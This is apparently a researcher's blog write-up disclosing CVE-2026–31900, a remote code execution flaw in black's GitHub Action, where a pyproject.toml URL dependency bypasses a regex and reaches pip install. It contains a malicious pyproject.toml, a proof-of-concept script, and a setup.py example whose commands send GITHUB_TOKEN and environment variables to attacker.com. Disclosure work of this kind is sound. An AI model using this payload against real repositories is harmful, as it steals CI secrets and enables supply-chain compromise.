Introduction Black, the "The uncompromising Python code formatter" created by the Python Software Foundation, needs no introduction in the Python ecosystem. With over 41k stars on GitHub, 2.2B (yes, with a B) downloads, and adoption by thousands of open source projects worldwide, its the standard for Python code formatting. By design, it does exactly one thing: format your code. It does not execute user input, it does not make network requests, and it does not interact with external services. In the minds of most developers, it sits firmly in the "safe" category of developer tooling.

And that assumption is exactly what made this finding interesting :)

During a routine OSS security research session, I identified CVE-2026–31900, a High severity (CVSS: 8.7) Remote Code Execution vulnerability in black's official GitHub Action. The vulnerability allows an attacker to execute arbitrary code on a victim repository's CI runner, by simply opening a Pull Request, no maintainer interaction required, no prior access to the repo, no preconditions (beyond the target having a specific configuration option enabled).

The root cause was a single, overly permissive regular expression (and some luck as well, I guess xD).

Following my SAST's Output

My research methodology for OSS security work is deliberately "narrow", as I focus exclusively on Python projects, partly because Python is the language I know the most (which makes identifying logic vulnerabilities significantly easier than in, for example, Bash or Rust), and partly because it keeps the scope manageable for solo research (done in my spare time).

I run my own SAST tool, PySpector, against manually selected repositories, usually, and on this particular session, I was reviewing a code snippet flagged by PySpector that turned out to be entirely benign (so a false positive). But in the same output, almost as a side note, a different file caught my attention: action/main.py. The file path immediately suggested a GitHub Action context. And within that file, I noticed a RegEx, that looked different.

The exact line of code was:

BLACK_VERSION_RE = re.compile(r"^black([^A-Z0-9._-]+.*)$", re.IGNORECASE)

In a GitHub Action, regular expressions that process user-supplied input are almost always there for a reason, right? To validate or sanitize something, before it is used in a potentially dangerous operation. That context immediately raised the question: what is this RegEx trying to prevent, and does it actually prevent it?

The Vulnerable Workflow Configuration

The vulnerability only exists when a specific (but not too much, apparently) option is enabled. Black's GitHub Action supports a use_pyproject input parameter that, when set to true, instructs the action to read the required Black version directly from the repository's pyproject.toml, file rather than having it hardcoded in the workflow YAML.

A typical vulnerable workflow configuration looks like this:

name: black
on: [pull_request]

jobs:
  black:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: psf/black@stable
        with:
          use_pyproject: true

This configuration is reasonable and follows the DRY principle, so why specify the version in two places? The problem, as we'll see, is that use_pyproject: true implicitly trusts the contents of pyproject.toml, as a source of version information, and that trust is exploitable when the file comes from a PR branch.

Why use_pyproject is Dangerous

The danger is created from a combination of two facts: where pyproject.toml is read from, and what happens to its contents afterward.

On a pull_request trigger, the actions/checkout step checks out the code from the PR branch. This means the pyproject.toml that the action reads, belongs to the PR author (which in the case of a fork PR, is entirely attacker-controlled). The action reads it with a simple, unqualified path:

with Path("pyproject.toml").open("rb") as fp:
    pyproject = tomllib.load(fp)

No branch verification, no trust boundary, no check against the base branch's configuration. Whatever is in pyproject.toml, on the PR branch, is what gets read.

After reading the file, the action searches for a black version specifier, across several locations inside the TOML structure:

for array in itertools.chain(
    pyproject.get("dependency-groups", {}).values(),
    pyproject.get("project", {}).get("dependencies"),
    *pyproject.get("project", {}).get("optional-dependencies", {}).values(),
):
    version = find_black_version_in_array(array)

Each entry in these arrays is passed to find_black_version_in_array, which applies BLACK_VERSION_RE to extract what it expects to be a version specifier.

A Closer Look at the RegEx

As we saw before, this is the line where the vulnerability lives:

BLACK_VERSION_RE = re.compile(r"^black([^A-Z0-9._-]+.*)$", re.IGNORECASE)

The intent is clear: match a string that starts with black followed by a version specifier like "==24.1.0" or ">=23.0", and capture everything after black as group 1. The character class [^A-Z0–9._-] is supposed to ensure the separator between the black command and the version, is a valid version operator.

The problem is re.IGNORECASE. With re.IGNORECASE, the character class excludes both uppercase and lowercase letters, digits, dots, dashes, and underscores. Everything else passes through (including spaces, the @ sign, colons, and forward slashes).

PEP 508 (Python's standard for dependency specifiers), defines a syntax for direct URL references:

package @ https://example.com/dist/package-1.0.tar.gz

And in this case, I used PySpector's already published tar.gz, on PyPI (as it was a faster test, than creating and hosting a new .tar.gz from scratch):

black @ https://files.pythonhosted.org/packages/../pyspector-0.1.6.tar.gz

Now, against the vulnerable BLACK_VERSION_RE, this string matches as follows:

^black          = "black"
[^A-Z0-9._-]+   = " @ "   (space, @, /, none of these are excluded)
.*              = "https://attacker.com/malicious.tar.gz"
group(1)        = " @ https://attacker.com/malicious.tar.gz"

The captured group is then used to construct the pip install argument:

req = f"black{extra_deps}{version_specifier}"
# "black @ https://attacker.com/malicious.tar.gz"

pip_proc = run(
    [str(ENV_BIN / "python"), "-m", "pip", "install", req],
    # etc...
)

pip receives a fully valid PEP 508 URL requirement, and so it proceeds to fetch and install from the attacker-controlled URL.

The Malicious pyproject.toml

The attacker's payload is pretty simple. A single file, committed to a fork branch:

[project]
name = "project-name"
version = "1.0.0"
dependencies = [
    "black @ https://attacker.com/malicious_black.tar.gz"
]

That is the entire attack artifact. No code injection, no binary exploits, no obfuscation. Just a TOML file, with a URL where a version number should be.

The malicious package at the attacker's URL, needs equally Low complexity. Any build backend that executes arbitrary code during the wheel preparation phase is sufficient. A minimal setup.py example, would be:

from setuptools import setup
import os

# These runs during pip install, on the victim's CI runner
os.system("curl https://attacker.com/exfil?token=$GITHUB_TOKEN")
os.system("env | curl -X POST https://attacker.com/exfil -d @-")

setup(name="black", version="xx.x.x")

Note that naming the package "black" in the metadata is important, as pip validates name consistency between the requirement, and the package metadata. Without it, pip will discard the package after executing the build steps, but by that point the payload has already run (as you will see soon).

Execution Inside the Runner

To demonstrate the full chain without hosting a "malicious" server, I set up a test repository with the vulnerable workflow configuration, and opened a Pull Request from a fork account containing the malicious pyproject.toml. As I said before, the PR pointed to a PyPI URL of my own published package "pyspector", as a safe alternative for the attacker URL.

The Actions log, on the victim's repo, showed the following:

None

As you can see, the build backend ran completely (all build hooks executed), before pip rejected the package on a name mismatch ("pyspector" vs "black"). In a real attack, of course, the malicious package would simply declare itself as "black" in its metadata, and the build execution would complete successfully. Regardless, the payload executes during the build phase, before pip's name validation runs.

This confirmed the full exploit chain end-to-end, using only infrastructure I control :D

Token and Secret Exfiltration Scenario

The realistic impact of this vulnerability depends heavily on how the victim repository's CI environment is configured, but the following scenario is what comes closer to real-world deployments for black.

A maintainer of an active open source project has configured their repository to run black formatting checks on every incoming PR. They use use_pyproject: true because their pyproject.toml already specifies the required black version for local development, and they want the CI to stay in sync automatically. Their workflow runs on pull_request, which is the default and most common trigger.

An attacker creates a fork of the victim's repository, adds the malicious pyproject.toml, and opens a PR. The pull_request trigger fires automatically, the action runs, and the malicious package's build backend executes with the runner's full environment, which may include:

· Github Actions tokens

· Cloud providers' credentials (AWS, GCP, etc..)

· Deployment Keys

· API Keys

· And anything else that's set as a repository secret

The GITHUB_TOKEN available on a standard pull_request trigger from a fork, is scoped to read-only permissions, which limits direct repository modification. However, repositories that use pull_request_target instead of pull_request (a common pattern when CI needs write access too) provide a token with significantly elevated permissions. Also, many CI environments inject cloud provider credentials, PyPI publishing tokens, and other secrets that are not scope-limited in the same way as the GITHUB_TOKEN itself.

Apart from credential theft, runner compromise enables network reconnaissance of any internal infrastructure accessible from the CI environment, supply chain attacks via tampering with build artifacts before they are published, and persistent access via SSH key injection into the runner's known hosts or authorized keys.

Static PoC

The following PoC i developed, demonstrates the vulnerability without requiring network access nor a live GitHub Actions environment. It performs two simple verifications steps: a static proof that the vulnerable RegEx pattern passes the URL through to the pip argument, and a dynamic proof that pip accepts the resulting requirement as valid. As simple as that.

import re
import subprocess
import sys

BLACK_VERSION_RE = re.compile(r"^black([^A-Z0-9._-]+.*)$", re.IGNORECASE)

MALICIOUS_ENTRY = "black @ https://attacker.com/malicious.tar.gz"
SAFE_WHEEL_URL  = "https://files.pythonhosted.org/packages/e4/3d/51bdb3ecbfadfaf825ec0c75e1de6077422b4afa2091c6c9ba34fbfc0c2d/black-26.1.0-py3-none-any.whl"

# Part 1: RegEx bypass
m = BLACK_VERSION_RE.match(MALICIOUS_ENTRY)
assert m, "regex did not match"

pip_req = f"black{m.group(1)}"
print(f"pyproject.toml entry : {MALICIOUS_ENTRY}")
print(f"regex group(1)       : {m.group(1)!r}")
print(f"pip install arg      : {pip_req}")
assert "attacker.com" in pip_req
print("[+] regex passes attacker URL to pip install\n")

# Part 2: pip accepts URL-form requirement (dry-run)
result = subprocess.run(
    [sys.executable, "-m", "pip", "install", "--dry-run", "--quiet",
     f"black @ {SAFE_WHEEL_URL}"],
    capture_output=True, text=True,
)
assert result.returncode == 0, f"pip rejected requirement:\n{result.stderr}"
print("[+] pip accepted URL-form requirement (dry-run, exit 0)")

Patch Analysis

The fix shipped in black v26.3.0 and tightens the validation of the version field extracted from pyproject.toml. The maintainer replaced the permissive regex approach with stricter input validation that rejects any value that does not conform to a standard version specifier pattern, preventing URL references and other non-version strings from reaching the pip install call.

Users of psf/black@stable are automatically protected (as the @stable tag always resolves to the latest stable release, which is now the patched v26.3.0). Tho, users who pin to a specific version tag in their workflow, should update their reference ASAP.

The workaround for users unable to update immediately is to simply remove use_pyproject: true from the action configuration, and specify the version directly in the workflow YAML.

Disclosure Timeline

The disclosure process followed responsible disclosure practices (of course).

The vulnerability was discovered during a SAST-assisted code review session. A static PoC was developed and validated locally, followed by an end-to-end dynamic reproduction on a controlled test repository. The complete report and PoC were submitted to security@tidelift.com, the official security contact for psf/black. Tidelift acknowledged receipt on the same day, confirmed the finding with the maintainer within only 6 hours, and the maintainer began working on a fix immediately.

The patch was released in 26.3.0, and the advisory was published publicly as GHSA-v53h-f6m7-xcgm, and the CVE ID "CVE-2026–31900" was assigned right after. The full process from initial report, to public advisory took only four days in total (and props to the PSF for being that professional and quick)!

Conclusion

CVE-2026–31900 (or as I call it "Black Eye" xD) is a pretty good example of how security assumptions break down at integration boundaries. Black itself is not vulnerable (its a text processing library that never touches user input in a dangerous way). The vulnerability lives entirely in the GitHub Action wrapper, in the boundary between a configuration file, and a package installation command.

The broader lesson for CI security is that GitHub Actions, which read from repository files (especially files that can be contributed to by untrusted external parties via PRs) are a high-value target for this class of vulnerability. The pattern read from repo + pass to installer/executor, is a recurring source of RCE vulnerabilities, and its worth auditing explicitly in any action that supports similar configuration options.

Remember to always validate strictly against an allowlist of what a version specifier can look like, not a denylist of what it cannot.

If you read this far, me and the SecurityCert team would really appreciate a follow here on Medium, and regardless, thanks for reading the full writeup, we hope you enjoyed it :)

The advisory is available at https://github.com/advisories/GHSA-v53h-f6m7-xcgm

And you can check the CVE record here: https://www.cve.org/CVERecord?id=CVE-2026-31900

Last, if you wanna connect on LinkedIn, you can find me here: https://www.linkedin.com/in/tommaso-bona